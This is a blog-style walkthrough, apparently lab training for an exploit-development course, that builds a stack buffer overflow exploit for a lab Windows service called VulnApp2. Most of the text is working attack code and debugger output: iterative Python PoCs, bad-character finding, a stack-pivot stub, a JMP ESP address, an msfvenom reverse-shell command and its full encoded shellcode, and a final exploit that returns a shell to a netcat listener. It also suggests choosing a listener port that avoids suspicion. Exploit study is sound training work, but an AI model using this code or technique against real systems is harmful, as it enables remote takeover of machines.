Post

Vanilla Stack Overflow - Special Case

How to write an exploit for a stack overflow vulnerability. This walkthrough covers how to write a functional exploit PoC for a stack overflow vulnerability from start to finish.

Vanilla Stack Overflow - Special Case

Getting Started

Connect to the development VM and run WinDbg as Administrator, then start an instance of the application. Below is the initial PoC for the vulnerability we will be developing an exploit for:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python
import socket

try:
  print("\nSending evil buffer...")

  buffer = b"A" * 0x830

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  s.connect(("127.0.0.1", 7002))
  s.send(buffer)
  s.close()

  print("\nDone!")
  
except:
  print("\nCould not connect!")

Go ahead and attach the application to WinDbg so we can start debugging it. When that is done you will have something like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Microsoft (R) Windows Debugger Version 10.0.18362.1 X86
Copyright (c) Microsoft Corporation. All rights reserved.

*** wait with pending attach

************* Path validation summary **************
Response                         Time (ms)     Location
Deferred                                       srv*c:\symbols
Symbol search path is: srv*c:\symbols
Executable search path is: 
ModLoad: 14800000 14816000   C:\Installers\stack_overflow\extra_mile\VulnApp2.exe
...
(d14.1328): Break instruction exception - code 80000003 (first chance)
eax=003c0000 ebx=00000000 ecx=77879bc0 edx=77879bc0 esi=77879bc0 edi=77879bc0
eip=77841430 esp=044bff54 ebp=044bff80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
77841430 cc              int     3

The int 3 opcode signifies an interrupt/breakpoint instruction, which WinDbg uses to tell the CPU to stop/halt the application execution flow. This happens because it allows WindDbg to attach itself to the running process, which allows us to monitor and view its execution/logic flow in real-time.

Controlling EIP

In the PoC, there’s the following line:

1
buffer = b"A" * 0x830

This tells us that a byte of \x41 or A is being multiplied by 0x830. How do we find out what that is in decimal?

1
2
0:004> ? 0x830
Evaluate expression: 2096 = 00000830

We can use WinDbg built-in calculator for that, which tells us that the hexadecimal 0x830 is 2096 in decimal. This matters because in order to find the EIP offset, we need a way to be able to identify the DWORDs at specific locations, which is why we must randomize the buffer. We can use msf-pattern_create for this task:

1
2
3
┌──(oscp㉿OSCP-KL-01)-[/OSED]
└─$ msf-pattern_create -l 2096            
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1A...

In the PoC, replace the initial b”A” * 0x830 with the randomly generated characters:

1
buffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab..."

Now save the updated PoC and send it to the application, make sure to restart the application and re-attach it to WinDbg if you sent a buffer to it prior to this step.

1
2
3
4
5
6
7
8
0:004> g
(d14.13f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000830 ebx=000002f0 ecx=00456a88 edx=00000830 esi=14801040 edi=14801040
eip=72433372 esp=047bff88 ebp=43327243 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
72433372 ??              ???

We should get something like the output above, from there, we will use msf-pattern_offset to find the offset. To do this, we need whatever address the EIP is pointing to:

1
2
3
┌──(oscp㉿OSCP-KL-01)-[/OSED]
└─$ msf-pattern_offset -l 2096 -q 72433372
[*] Exact match at offset 2080

The output above tells us the offset is 2080. We can use the new information to update the PoC, at this point we should have control over the EIP register. Here’s the updated PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python
import socket

try:
  print("[+] Sending exploit...")

  buffer  = b"\x41" * 2080       # EIP Offset
  buffer += b"\x42" * 4          # EIP
  buffer += b"\x44" * (2096 - len(buffer))
 
  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  s.connect(("192.168.242.10", 7001))
  s.send(buffer)
  s.close()
  
  print("[+] Exploit delivered.")
  
except:
  print("[-] Could not connect.")

Verify EIP Control

Let’s verify that we have control over the EIP. Go ahead and restart everything and attach the running process of the application to WinDbg.

1
2
3
4
5
6
7
8
0:005> g
(1314.112c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000830 ebx=00000244 ecx=004f96f0 edx=00000830 esi=14801040 edi=14801040
eip=42424242 esp=048fff88 ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
42424242 ??              ???

The output above shows that we do indeed have control over the EIP register, now, let’s find bad characters so we can remove them when we generate the meterpreter reserve shell payload.

Finding Bad Characters

Here is the updated exploit that we will be using to find the bad characters. We made some updates due to the limited amount of space that we have after the EIP overwrite, which means we can either put the shellcode in the filler buffer or use an egghunter technique. We aren’t going to use the egghunter technique even though it’s more reliable, but it’s not possible to fit an egghunter in 12 bytes of available space after the EIP overwrite. However, we can still use the egghunter concept to craft a simple set of assembly instructions we can fit in the available space to redirect the execution flow to the start of the shellcode, then we can call jmp esp on that one last time. Not sure is I have explained this before but, the ESP register will keep track of the stack-frame and the instructions sequentially, and since the EIP points to whatever address the ESP register points at the end of every ret or retn in the execution flow, all we need to do is make sure the address the ESP is pointing to is the start of the shellcode buffer on the stack, then we use the jmp esp to redirect the execution flow to it. This might not make a whole lot of sense right now, but I promise it will with practice and repetition.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python
import socket
import sys
from struct import pack

# Bad Characters:
badchars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
badchars += b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
badchars += b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
badchars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
badchars += b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
badchars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
badchars += b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
badchars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
badchars += b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
badchars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
badchars += b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
badchars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
badchars += b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
badchars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
badchars += b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
badchars += b"\x44" * (400 - len(badchars))

# ----------------------------- Don't Update Below ----------------------------- #
# Exploit runtime variables
eipOffset  = 2080
server     = sys.argv[1]
port       = 7002

try:
  print("[+] Sending exploit... ")

  filler    = b"\x41" * eipOffset
  eip       = b"\x42" * 4
  offset    = b"\x43" * 4
  payload   = filler + eip + badchars

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(payload)
  s.close()

  print("[+] Exploit delivered.")
  
except:
  print("[-] Could not connect!")

Save the updated PoC and send it to the target application that should be running on the development VM and repeat this process until you find all the bad characters. every time you send the buffer, run db esp L16 to get 16 bytes starting with whatever the ESP register is pointing to. The goal is to get an order similar to the one in the PoC for the bad characters, so if we see a null byte in between any of the bytes instead of the expected byte, then the character that’s either suppose to be in that spot or before is a bad character. For instance, if we have f5 f6 f7 f8 f9 00 fd ff, we can assume that fa is a bad character because it’s supposed to come after fd, however, this might not always be true. There are cases when fd might be the bad character, but go with the latter first.

1
Bad Characters: \x00\x3b\x45

At this point, we have control of the EIP register and plenty of space in the filler buffer for our shellcode that is easily accessible through the ESP register. We also know which characters are safe, and which are not. Our next task is to find a way to redirect the execution flow to the shellcode located at the memory address the ESP register is pointing to after we subtract the distance between the ESP memory location when we overwrite the EIP and the shellcode, which should make the ESP point to the start of the shellcode. Next, we will jmp esp to redirect the execution flow to the start of the shellcode. Not sure if that makes sense, but I will show you what I mean below.

Here’s the updated PoC, but this time we are going to include the shellcode placeholder so we can find it and calculate the distance between the starting location/memory address and whatever memory location the ESP register is pointing to.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python
import socket
import sys
from struct import pack

# Bad Characters: \x00\x3b\x45
shellcode = b"w00tw00t" + b"\x44" * 400
# ----------------------------- Don't Update Below ----------------------------- #
# Exploit runtime variables
eipOffset  = 2080
server     = sys.argv[1]
port       = 7002

try:
  print("[+] Sending exploit... ")

  filler    = b"\x41" * (eipOffset - len(shellcode))
  eip       = b"\x42" * 4
  offset    = b"\x90" * 4
  redirect  = b"\x43" * 8
  payload   = filler + shellcode + eip + redirect

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(payload)
  s.close()

  print("[+] Exploit delivered.")
  
except:
  print("[-] Could not connect!")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0:004> g
(5624.5414): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000082c ebx=0000014c ecx=00541be0 edx=00000830 esi=14801040 edi=14801040
eip=42424242 esp=0479ff88 ebp=44444444 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
42424242 ??              ???
0:006> s -a 0x0 L?80000000 w00tw00t
00542268  77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44  w00tw00tDDDDDDDD
0479fdec  77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44  w00tw00tDDDDDDDD
0:006> dd 0479fdec
0479fdec  74303077 74303077 44444444 44444444
0479fdfc  44444444 44444444 44444444 44444444
0479fe0c  44444444 44444444 44444444 44444444
0479fe1c  44444444 44444444 44444444 44444444
0479fe2c  44444444 44444444 44444444 44444444
0479fe3c  44444444 44444444 44444444 44444444
0479fe4c  44444444 44444444 44444444 44444444
0479fe5c  44444444 44444444 44444444 44444444
0:006> ? @esp - 0479fdec
Evaluate expression: 412 = 0000019c
0:006> ? @esp - 0x19c 
Evaluate expression: 75103724 = 0479fdec

Based on the information above, my logic right now is to jump to esp, which should put us in the NOP offset, then it will lead us to the redirect instructions, which should just subtract 0x19c from ESP. This should redirect the ESP/execution flow to the start of the shellcode, then we have to jump to esp again. Let’s check it out in action. Below is the keystone logic:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from keystone import *

CODE = (
"                           " 
" start:                    "
"     mov eax, 0xfffffe64  ;" 
"     neg eax              ;" 
"     sub esp, eax         ;" 
"     jmp esp              ;" 
)

# Initialize engine in 32-bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
instructions = ""
for dec in encoding: 
    instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")
  
print("Opcodes = (\"" + instructions + "\")")
1
2
C:\Users\Offsec\Desktop>python jmp-shell.py
Opcodes = ("\xb8\x64\xfe\xff\xff\xf7\xd8\x29\xc4\xff\xe4")

Finding a Return Address (Jump Instruction)

We can still store our shellcode at the address pointed to by ESP, but we need a consistent way to execute that code. One solution is to leverage a JMP ESP instruction, which as the name suggests, “jumps” to the address pointed to by ESP, which eventually ends up in the EIP register and the CPU executes the opcode for that instruction(s). If we can find a reliable static address that contains this instruction, we can redirect EIP to this address. Then, at the time of the application crash due to the stack overflow vulnerability, the JMP ESP instruction will be executed and this “indirect jump” will direct the execution flow into our redirect instructions logic.

1
2
0:006> !nmod
14800000 14816000 VulnApp2             /SafeSEH OFF /GS            C:\Installers\stack_overflow\extra_mile\VulnApp2.exe

Using the Narly extension, we can see that this module was not compiled with any security mitigations, which makes things simpler for us as exploit developers. Now, let’s find us a valid jump instruction that we can use.

1
2
3
4
┌──(oscp㉿OSCP-KL-01)-[/OSED]
└─$ msf-nasm_shell                        
nasm > jmp esp
00000000  FFE4              jmp esp

Using msf-nasm_shell we are able to find the opcode for the jmp esp instruction, which essentially tells the EIP to resume the execution flow at whatever address the ESP contains or is pointing to. Let’s search for it in WInDbg.

1
2
3
4
5
# Get module address
0:006> lm m VulnApp2
Browse full module list
start    end        module name
14800000 14816000   VulnApp2   (deferred)  
1
2
3
# Search for jmp esp in the module
0:006> s -b 14800000 14816000 0xff 0xe4
1480113d  ff e4 83 7d ec 00 75 03-58 5b c3 5b 8b e5 5d c3  ...}..u.X[.[..].

The search result shows there’s one address that contains that instruction in the application. Let’s verify that.

1
2
3
4
5
6
7
8
9
10
11
0:006> u 1480113d
*** WARNING: Unable to verify checksum for C:\Installers\stack_overflow\extra_mile\VulnApp2.exe
VulnApp2+0x113d:
1480113d ffe4            jmp     esp
1480113f 837dec00        cmp     dword ptr [ebp-14h],0
14801143 7503            jne     VulnApp2+0x1148 (14801148)
14801145 58              pop     eax
14801146 5b              pop     ebx
14801147 c3              ret
14801148 5b              pop     ebx
14801149 8be5            mov     esp,ebp

This shows the first instruction at this location is indeed a jmp esp instruction, which is exactly what we need to redirect the execution flow to our controlled buffer/redirect instructions. Let’s update the PoC once more and test the newly added jmp esp instruction.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python
import socket
import sys
from struct import pack

# Bad Characters: \x00\x3b\x45
shellcode = b"w00tw00t" + b"\x44" * 400
# ----------------------------- Don't Update Below ----------------------------- #
# Exploit runtime variables
eipOffset  = 2080
server     = sys.argv[1]
port       = 7002

try:
  print("[+] Sending exploit... ")

  filler    = b"\x41" * (eipOffset - len(shellcode))                             # filler buffer - shellcode buffer
  eip       = pack("<L", (0x1480113d))                                           # JMP ESP: 0x1480113d --> Little Endian
  offset    = b"\x90" * 1                                                        # Safe NOP
  redirect  = b"\xb8\x64\xfe\xff\xff\xf7\xd8\x29\xc4\xff\xe4"                    # mov eax, 0xfffffe64 ; neg eax ; sub esp, eax ; jmp esp ;
  payload   = filler + shellcode + eip + redirect                                # assemble the payload buffer

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(payload)
  s.close()

  print("[+] Exploit delivered.")
  
except:
  print("[-] Could not connect!")

Before sending the payload, lets set a breakpoint on the address in the EIP. This allows us to single step through the instructions to ensure that everything is in the right place, and if we don’t set the breakpoint, the program will crash because it wouldn’t be able to resolve the current placeholder values on the stack for the shellcode.

1
2
3
4
0:004> bp 0x1480113d
*** WARNING: Unable to verify checksum for C:\Installers\stack_overflow\extra_mile\VulnApp2.exe
0:004> bl
     0 e Disable Clear  1480113d     0001 (0001)  0:**** VulnApp2+0x113d

With the breakpoint set, resume the execution flow and send the payload.

1
2
3
4
5
6
7
0:004> g
Breakpoint 0 hit
eax=0000082e ebx=00000240 ecx=0046fbd0 edx=00000830 esi=14801040 edi=14801040
eip=1480113d esp=048fff88 ebp=44444444 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
VulnApp2+0x113d:
1480113d ffe4            jmp     esp {048fff88}

The output above shows that the CPU hit the breakpoint we set, now we can single step through the execution flow to observe what happens after we take the jump.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
0:006> t
eax=0000082e ebx=00000240 ecx=0046fbd0 edx=00000830 esi=14801040 edi=14801040
eip=048fff88 esp=048fff88 ebp=44444444 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
048fff88 b864feffff      mov     eax,0FFFFFE64h
0:006> t
eax=fffffe64 ebx=00000240 ecx=0046fbd0 edx=00000830 esi=14801040 edi=14801040
eip=048fff8d esp=048fff88 ebp=44444444 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
048fff8d f7d8            neg     eax
0:006> t
eax=0000019c ebx=00000240 ecx=0046fbd0 edx=00000830 esi=14801040 edi=14801040
eip=048fff8f esp=048fff88 ebp=44444444 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
048fff8f 29c4            sub     esp,eax
0:006> t
eax=0000019c ebx=00000240 ecx=0046fbd0 edx=00000830 esi=14801040 edi=14801040
eip=048fff91 esp=048ffdec ebp=44444444 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
048fff91 90              nop
0:006> dd esp
048ffdec  74303077 74303077 44444444 44444444
048ffdfc  44444444 44444444 44444444 44444444
048ffe0c  44444444 44444444 44444444 44444444
048ffe1c  44444444 44444444 44444444 44444444
048ffe2c  44444444 44444444 44444444 44444444
048ffe3c  44444444 44444444 44444444 44444444
048ffe4c  44444444 44444444 44444444 44444444
048ffe5c  44444444 44444444 44444444 44444444

The output above shows that after the jump we should direct the execution flow to the address in the ESP register, which contains our custom redirect instructions, the CPU was able to execute those instructions to direct the execution flow to the start of the shellcode; meaning the CPU will start executing the shellcode instructions and if we have a listener open, we should catch the reverse shell. Let’s test that.

Getting a Reverse Shell

Metasploit Framework provides us with tools and utilities that make generating complex payloads simple. To build our shellcode, we’ll use the MSFvenom tool. It can generate shellcode payloads and encode them using a variety of different encoders. Currently, the msfvenom command can automatically generate over 1000 shellcode payload options.

1
2
3
4
┌──(oscp㉿OSCP-KL-01)-[/OSED]
└─$ msfvenom -l payloads
Framework Payloads (1471 total) [--payload <value>]
==================================================

We have about 1,471 payloads to choose from, that is indeed a lot of options. The msfvenom commands are very intuitive and easy to use. We can use the -p flag to specify the payload, which could be any one of the 1,471 payloads that are available as of this writing. In out case, we will be using the windows/shell_reverse_tcp payload because the target host OS is Windows, and this basically acts like a Netcat reverse shell if you are familiar with it. Next, we have to specify the LHOST flag, which will contain the IP address of the machine listening for the reverse shell, in this scenario it will be our Kali VM’s IP address. We also have to provide the port we will be listening on with the LPORT flag, this can be any port but I like to use the same port number the application is listening on, because we know it’s open for certain and could also help evade any suspicion because the port the application is listening on is expected to be open and should have traffic flowing through.

Lastly, we can use the -f flag to specify the language the payload should be generated/formatted in, the -v flag for the shellcode variable name, -b flag for bad characters that should be avoided, and -e flag to specify an encoder. There are other flags but these are the ones that we really need. Following its execution, the default exit method of a Metasploit shellcode is the ExitProcess API. This exit method will shut down the whole web service process when the reverse shell is terminated, effectively killing the VulnApp1 service and causing it to crash. If the program we are exploiting is a threaded application, as in this case, we can try to avoid crashing the service completely by using the ExitThread API to only terminate the affected thread of the program. This allows our exploit to work without interrupting the usual operation of the VulnApp1 server. We can exploit the server and exit the shell multiple times without crashing the service. I had issues using the x86/shikata_ga_nai encoder, you can try it but if you don’t get a reverse shell, that’s probably why.

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.215 LPORT=7002 EXITFUNC=thread -f python -b "\x00\x3b\x45" -v shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(oscp㉿OSCP-KL-01)-[~/OSED]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.215 LPORT=7002 EXITFUNC=thread -f python -b "\x00\x3b\x45" -v shellcode 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
shellcode =  b""
shellcode += b"\xbd\x21\xa9\xcd\xb9\xdb\xc9\xd9\x74\x24\xf4"
shellcode += b"\x58\x29\xc9\xb1\x52\x31\x68\x12\x83\xc0\x04"
shellcode += b"\x03\x49\xa7\x2f\x4c\x75\x5f\x2d\xaf\x85\xa0"
shellcode += b"\x52\x39\x60\x91\x52\x5d\xe1\x82\x62\x15\xa7"
shellcode += b"\x2e\x08\x7b\x53\xa4\x7c\x54\x54\x0d\xca\x82"
shellcode += b"\x5b\x8e\x67\xf6\xfa\x0c\x7a\x2b\xdc\x2d\xb5"
shellcode += b"\x3e\x1d\x69\xa8\xb3\x4f\x22\xa6\x66\x7f\x47"
shellcode += b"\xf2\xba\xf4\x1b\x12\xbb\xe9\xec\x15\xea\xbc"
shellcode += b"\x67\x4c\x2c\x3f\xab\xe4\x65\x27\xa8\xc1\x3c"
shellcode += b"\xdc\x1a\xbd\xbe\x34\x53\x3e\x6c\x79\x5b\xcd"
shellcode += b"\x6c\xbe\x5c\x2e\x1b\xb6\x9e\xd3\x1c\x0d\xdc"
shellcode += b"\x0f\xa8\x95\x46\xdb\x0a\x71\x76\x08\xcc\xf2"
shellcode += b"\x74\xe5\x9a\x5c\x99\xf8\x4f\xd7\xa5\x71\x6e"
shellcode += b"\x37\x2c\xc1\x55\x93\x74\x91\xf4\x82\xd0\x74"
shellcode += b"\x08\xd4\xba\x29\xac\x9f\x57\x3d\xdd\xc2\x3f"
shellcode += b"\xf2\xec\xfc\xbf\x9c\x67\x8f\x8d\x03\xdc\x07"
shellcode += b"\xbe\xcc\xfa\xd0\xc1\xe6\xbb\x4e\x3c\x09\xbc"
shellcode += b"\x47\xfb\x5d\xec\xff\x2a\xde\x67\xff\xd3\x0b"
shellcode += b"\x27\xaf\x7b\xe4\x88\x1f\x3c\x54\x61\x75\xb3"
shellcode += b"\x8b\x91\x76\x19\xa4\x38\x8d\xca\x0b\x14\xa0"
shellcode += b"\xdd\xe4\x67\xba\xfa\xae\xee\x5c\x96\x5e\xa7"
shellcode += b"\xf7\x0f\xc6\xe2\x83\xae\x07\x39\xee\xf1\x8c"
shellcode += b"\xce\x0f\xbf\x64\xba\x03\x28\x85\xf1\x79\xff"
shellcode += b"\x9a\x2f\x15\x63\x08\xb4\xe5\xea\x31\x63\xb2"
shellcode += b"\xbb\x84\x7a\x56\x56\xbe\xd4\x44\xab\x26\x1e"
shellcode += b"\xcc\x70\x9b\xa1\xcd\xf5\xa7\x85\xdd\xc3\x28"
shellcode += b"\x82\x89\x9b\x7e\x5c\x67\x5a\x29\x2e\xd1\x34"
shellcode += b"\x86\xf8\xb5\xc1\xe4\x3a\xc3\xcd\x20\xcd\x2b"
shellcode += b"\x7f\x9d\x88\x54\xb0\x49\x1d\x2d\xac\xe9\xe2"
shellcode += b"\xe4\x74\x09\x01\x2c\x81\xa2\x9c\xa5\x28\xaf"
shellcode += b"\x1e\x10\x6e\xd6\x9c\x90\x0f\x2d\xbc\xd1\x0a"
shellcode += b"\x69\x7a\x0a\x67\xe2\xef\x2c\xd4\x03\x3a"

When it comes to exploit development or the utilization of an exploit, always make sure you understand what’s going on under the hood before blindly running an exploit, especially the ones publicly available on the internet. If it contains anything that looks like shellcode or arbitrary hexadecimal byte-array, proceed with caution. Below is the updated PoC with the shellcode that we just generated.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/python
import socket
import sys
from struct import pack

# Bad Characters: \x00\x3b\x45
shellcode =  b"\x90" * 8
shellcode += b"\xbd\x21\xa9\xcd\xb9\xdb\xc9\xd9\x74\x24\xf4"
shellcode += b"\x58\x29\xc9\xb1\x52\x31\x68\x12\x83\xc0\x04"
shellcode += b"\x03\x49\xa7\x2f\x4c\x75\x5f\x2d\xaf\x85\xa0"
shellcode += b"\x52\x39\x60\x91\x52\x5d\xe1\x82\x62\x15\xa7"
shellcode += b"\x2e\x08\x7b\x53\xa4\x7c\x54\x54\x0d\xca\x82"
shellcode += b"\x5b\x8e\x67\xf6\xfa\x0c\x7a\x2b\xdc\x2d\xb5"
shellcode += b"\x3e\x1d\x69\xa8\xb3\x4f\x22\xa6\x66\x7f\x47"
shellcode += b"\xf2\xba\xf4\x1b\x12\xbb\xe9\xec\x15\xea\xbc"
shellcode += b"\x67\x4c\x2c\x3f\xab\xe4\x65\x27\xa8\xc1\x3c"
shellcode += b"\xdc\x1a\xbd\xbe\x34\x53\x3e\x6c\x79\x5b\xcd"
shellcode += b"\x6c\xbe\x5c\x2e\x1b\xb6\x9e\xd3\x1c\x0d\xdc"
shellcode += b"\x0f\xa8\x95\x46\xdb\x0a\x71\x76\x08\xcc\xf2"
shellcode += b"\x74\xe5\x9a\x5c\x99\xf8\x4f\xd7\xa5\x71\x6e"
shellcode += b"\x37\x2c\xc1\x55\x93\x74\x91\xf4\x82\xd0\x74"
shellcode += b"\x08\xd4\xba\x29\xac\x9f\x57\x3d\xdd\xc2\x3f"
shellcode += b"\xf2\xec\xfc\xbf\x9c\x67\x8f\x8d\x03\xdc\x07"
shellcode += b"\xbe\xcc\xfa\xd0\xc1\xe6\xbb\x4e\x3c\x09\xbc"
shellcode += b"\x47\xfb\x5d\xec\xff\x2a\xde\x67\xff\xd3\x0b"
shellcode += b"\x27\xaf\x7b\xe4\x88\x1f\x3c\x54\x61\x75\xb3"
shellcode += b"\x8b\x91\x76\x19\xa4\x38\x8d\xca\x0b\x14\xa0"
shellcode += b"\xdd\xe4\x67\xba\xfa\xae\xee\x5c\x96\x5e\xa7"
shellcode += b"\xf7\x0f\xc6\xe2\x83\xae\x07\x39\xee\xf1\x8c"
shellcode += b"\xce\x0f\xbf\x64\xba\x03\x28\x85\xf1\x79\xff"
shellcode += b"\x9a\x2f\x15\x63\x08\xb4\xe5\xea\x31\x63\xb2"
shellcode += b"\xbb\x84\x7a\x56\x56\xbe\xd4\x44\xab\x26\x1e"
shellcode += b"\xcc\x70\x9b\xa1\xcd\xf5\xa7\x85\xdd\xc3\x28"
shellcode += b"\x82\x89\x9b\x7e\x5c\x67\x5a\x29\x2e\xd1\x34"
shellcode += b"\x86\xf8\xb5\xc1\xe4\x3a\xc3\xcd\x20\xcd\x2b"
shellcode += b"\x7f\x9d\x88\x54\xb0\x49\x1d\x2d\xac\xe9\xe2"
shellcode += b"\xe4\x74\x09\x01\x2c\x81\xa2\x9c\xa5\x28\xaf"
shellcode += b"\x1e\x10\x6e\xd6\x9c\x90\x0f\x2d\xbc\xd1\x0a"
shellcode += b"\x69\x7a\x0a\x67\xe2\xef\x2c\xd4\x03\x3a"
shellcode += b"\x90" * (408 - len(shellcode))               # Safe NOP 
# ----------------------------- Don't Update Below ----------------------------- #
# Exploit runtime variables
eipOffset  = 2080
server     = sys.argv[1]
port       = 7002

try:
  print("[+] Sending exploit... ")

  filler    = b"\x41" * (eipOffset - len(shellcode))                             # filler buffer - shellcode buffer
  eip       = pack("<L", (0x1480113d))                                           # JMP ESP: 0x1480113d --> Little Endian
  offset    = b"\x90" * 1                                                        # Safe NOP
  redirect  = b"\xb8\x64\xfe\xff\xff\xf7\xd8\x29\xc4\xff\xe4"                    # mov eax, 0xfffffe64 ; neg eax ; sub esp, eax ;
  payload   = filler + shellcode + eip + redirect                                # assemble the payload buffer

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(payload)
  s.close()

  print("[+] Exploit delivered.")
  
except:
  print("[-] Could not connect!")

Testing Exploit

Go ahead and start a Netcat listener on whatever machine’s IP you used in the msfvenom shellcode generation.

1
2
3
4
┌──(oscp㉿OSCP-KL-01)-[~/OSED]
└─$ sudo nc -lvnp 7002                                                
[sudo] password for oscp: 
listening on [any] 7001 ...

Now, let’s send the payload one last time to confirm it works.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(oscp㉿OSCP-KL-01)-[~/OSED]
└─$ sudo nc -lvnp 7002
[sudo] password for oscp: 
listening on [any] 7002 ...
connect to [192.168.45.215] from (UNKNOWN) [192.168.169.10] 53137
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Installers\stack_overflow\extra_mile>whoami
whoami
client\offsec

C:\Installers\stack_overflow\extra_mile>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . : 192.168.169.10
